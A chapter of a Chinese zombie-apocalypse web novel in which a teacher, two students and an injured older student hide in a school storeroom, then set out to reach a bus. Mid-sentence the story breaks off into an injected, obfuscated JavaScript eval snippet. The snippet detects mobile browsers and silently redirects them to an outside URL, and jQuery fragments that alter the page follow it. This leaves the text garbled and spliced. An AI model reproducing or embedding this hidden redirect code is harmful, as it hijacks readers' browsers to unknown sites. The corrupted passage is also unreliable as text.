铁门上生锈老化的插销被捶落在地上,变成一坨废铁。走廊没了丧尸的身影,只有两个穿着干净的少年。
李知语见到她时愣了好久才回神,接着期期艾艾地喊一句:“戚老师。”
“嗯,进来。”戚许有气无力地回她。
伏在女生身上的江执远眼神迷离,满头大汗,烧得脸颊上浮现高原红,他也跟着喊:“戚老师。”
听见他叫人,戚许顿了顿脚,加快了搬东西的速度。铁门后的小山被她移开又堆砌而起,这回的更加牢固。
盘腿坐下山脚下,戚许不动神色地往角落瞥了一眼,从决定开门到现在,靳庭绪再没发出过任何动静。
“老师,药......您可以把药给我们吗?”李知语紧攥着手,眼神热切,显然是急得不行了。
“好。”
“只有这个?”
戚许抬眼看着学生手里的四颗布洛芬,点头,“嗯,只剩四粒。”
李知语神色黯淡,她挺起腰还想说点什么,在和戚许淡漠的神情对上后自觉地缝起了嘴。
她对这位新上任的班主任有些畏惧。
暗处的人听见她脸不红心不跳地说谎,忍不住勾唇哑笑。戚许开门前翻到把斜口钳,将剩下的药分成两份。
“咳咳咳咳咳咳。”
“慢点喝。”
靠在扫地车上的戚许扮演着电灯泡,看李知语抽出纸巾给怀里的江执远擦水渍。
百合花的香气散开来,在血腥浓郁的空间里很突兀。
她在两个学生旁也挺格格不入的。
害怕自己身上带着的丧尸血沾到她们,她和两个学生拉开了些距离坐着。
李知语和江执远除了发型有些凌乱,蓝白色的校服竟然连一滴血都没有,干净清爽,依偎在一起的画面还挺唯美的,像电视剧里末日逃亡的小情侣。
情侣?
所以这两个人是情侣?戚许眯了眯眼,然后叹气,心想算了,她现在没空棒打鸳鸯。
戚许低头盯着牛仔裤上的几个破洞发呆,眼皮渐重。
“老师!”
“嗯?”差点睡着的戚许惊醒,两只眼睛都叠成了三眼皮,“怎么了?”
李知语并不看她,眼神飘忽,“你进这里的时候有没有看见其他人?”
“其他人?”她一顿,然后回答:“没有。”
“没有?!”紧握的拳头难掩李知语的慌乱,“不可能。”
再次闭眼小憩的戚许呼吸微滞,把自家小班长的话放脑子里又翻炒一遍,随即峰回路转地问她:“之前带你们逃到三楼的是哪个老师?”
......
等了半天没人吭声,戚许终于舍得掀开酸胀的眼皮,往身侧看去,少女低头埋膝,肩膀耸动。
外面劲曲火热放送中,她不凝神确实听不见女孩的呜咽。
“江执远别装死,”戚许态度冷了下来,随手捞了个木凳碎片扔到男生跟前。
药到病渐消,江执远烧退了许多,他被木棍吓得一哆嗦,讷讷起来,“不是......老师。”
“看起来和我们同岁,但没穿阳华的校服,就那么......突然冲进教室里,”他垂着眼,喃喃自语般继续道:“好多人,好多人突然变成了怪物,它们!它们吃人!大家乱成一团,走廊里都是人,我们挤在门口,差点就要被踩在脚下。”
“那个男生就这么突然出现,硬生生把我们从人堆里拽出来,护着我们往楼下跑。”
“对,我们就这样逃到三楼,”李知语抬起头,泪眼婆娑,哽咽着说:“丧尸似乎都堵在二三楼的楼梯口,三楼走廊不多,太混乱了......我们没办法下去,他带着我们躲进307教室......”
她似乎是说不下去了,呜呜哭起来,而戚许则是异常平静地盯着眼前的黑暗,说:“然后呢?”
江执远深吸一口气,接了话,“我们暂时安全。大家都被吓傻了,有的情绪激动在砸东西,有的人一声不吭躲在桌底,我们根本不知道怎么办才好,全仰仗着那个男生能想想办法。但是......他受伤了,好大一个血洞,好多血,脸色白的吓人。”
“接着,接着教室里的人都疯了,他们都说那个男生被感染了,马上就会变成吃人的怪物!其他人......要把他赶出去......”
“所以你们把他扔了出去?”戚许不是很想看他泫然欲泣地讲后面的事,于是直接了断地说出猜测。
江执远猛地抬头,尚且稚嫩的脸庞有些狰狞,他反驳,也是替自己解释:“我们没有!是其他同学要把他推下楼!当时他已经半昏迷,是我和知语冒着被咬的风险把他拖进这里的。”
戚许沉默着,缓缓站起身,走到杂物间那扇四四方方的小窗户前。窗外乌云低压,夜雨已停,广场的丧尸围在歪脖子树下嗬嗬吼叫,像是要举行某种诡异的祭祀。一人合抱的树干被它们用指甲刮擦掉一半,树叶簌簌而下,歪脖子树随时都有折腰倒下的可能。
当恐慌蔓延,社会秩序崩溃,人性中的冷漠、自私、懦弱贪婪都会被无限放大,人总是卑劣的,她尚且会为自己先前救人的后悔,更别说要求死亡中挣扎的少年能保留一颗纯白无暇的心。
所以她没有责备的理由,只是轻轻说一句:“知道了。”
不过,角落那片浓重阴影中的人似乎不满意她的态度,等到寂静和死亡的气氛再次弥漫上来时突然开口:“怎么,戚老师打算金屋藏娇,不介绍一下我?”
突如其来的声音把两个学生吓得小声尖叫,李知语打开手机灯光往里面照,瞅见满脸是血,人不人鬼不鬼的靳庭绪又尖叫起来,“你你你!”
江执远捂住她嘴,颤巍巍说:“你还活着?!”
似乎是高兴的,两人迅速靠过去,一左一右围着靳庭绪,“哥,你还好吗?”
哥?靳庭绪太阳穴一抽,忽然觉得伤口也不是那么痛了,微微一笑:“活着。”
“呜呜呜,你还活着真的太好了。”李知语眼泪又流了下来,她摸索着刚刚的药片,准备扣一粒下来。
但戚许的后脑勺也长了眼睛似的,“别浪费,他吃过了。”
李知语停下,看看窗边的班主任,又看看身边的靳庭绪,她忽然想起来逃跑途中靳庭绪问过她们好几次“戚许呢?”
当时太乱,大家都太害怕,无人在意他的话,也没有人记起这句话,原来他和班主任认识。
“休息够了就立刻走。”戚许不给叙旧的时间,既然江执远能独立行走了,靳庭绪也没死,歪脖子树还站着岗,那此时此刻是逃离教学楼的最好时机。
一旦树倒下,手机不被丧尸们碾成粉末已经算是“全尸”了。届时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957443|177661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,丧尸们重新游离在教学楼内,想走另说,活不活得了还是个问题。
她扭过头,把身体翻了个面朝向三个学生,用下巴指人,“这位......哥,叫靳庭绪,你们的学长。”
“......学长好,我叫江执远。”
“靳学长好,李知语,知道的知,语言的语。”
“嗯。”靳庭绪挪了挪屁股,笑言:“叫哥就行,生死之交了,叫学长太疏离。”
有理有据,虽然勉强,但他们没什么意见,一人又叫了一句哥。
“哥。”
“嗯。”
“哥。”
“嗯。”
嗯完他看向背光的戚许,“走吧,富江姐姐。”
......
这个临时小团队虽说有四人,两男两女,但戚许和靳庭绪的血条已经掉了大半,受的伤也不浅,战斗力直线下降,再看两个十七八岁的高三学生,江执远高烧刚退,脚步虚浮,李知语细胳膊细腿,瘦得能和医务室里摆着的白骨架子合体。综上可知,几个人战斗力堪忧。
考虑到这些,开门前戚许就给他们找好了防身的武器。平时脏乱差的杂物间现在摇身一变成了哆啦A梦的口袋,翻翻找找给两个学生捡了棒球棒,自己拿了根趁手的撬棍,而靳庭绪分到了一把除草的铁锹。
她在阳华干了一年多,还在学校教师宿舍里住过一段时间,对这里的地形建筑了然于心,离高三教学楼最近的是南门,中间穿过教务楼修着一个停车场。
开学初学校有研学的准备,那里停着几辆大巴。
“你想拿钥匙开车走?”靳庭绪掂量着铁锹,说出她心里都打算。
戚绪看了眼时间,凌晨三点过十分,“嗯,大巴备用的车钥匙在校长办公室。”
“二楼。”
靳庭绪扣着铁锹,神色怏怏告诉她:“我不会开大巴。”
“嗯。”戚许点头。她没糊涂,当然知道靳庭绪不会开大巴车。他不会没关系,她会啊。“我会,我来开。”
“啊?戚老师你会开大巴车?”李知语嘴巴微张,表现得比谁都惊讶。
戚许故作轻松地耸耸肩,“当然。大学考驾照顺便考的,A1而已。”其实她考完之后就再也没碰过大型客车,还记不记得怎么开就得考验她的肌肉记忆了。
“姐,你好厉害。”李知语作势要挽手,引得她的姐连连后退。
“别靠近我。”还不知道感染的根源是什么,她和靳庭绪身上挂着各种血浆粘液,最好不要触碰到其他人。
“我和靳庭绪在前头,你们跟在身后,有什么不对劲的就赶紧跑。”戚许叮嘱完,把杂物堆里发黄小型喇叭捡起来。
铁门后的小山堆最后一次被移开,凹凸变形的铁门发出吱嘎一声,门缝中露出个脑袋看向漆黑的走廊,确定没有丧尸后才彻底打开门。
四个人鬼鬼祟祟猫着腰朝楼梯口走。
歪脖子树在东侧,四个人往南侧的楼梯口下楼,原以为一切能顺利进行,但戚许忘了三楼的人不止她们几个。
“戚许老师,救救我们......”
又是这句话,戚许脊骨一僵,仰头往走廊的窗户看去,只见窗帘缝隙里冒出只血丝缠绕的红眼,正咕噜转着在瞧四个人。
末了,眼珠子定住,眼尾一压,对着她们笑了。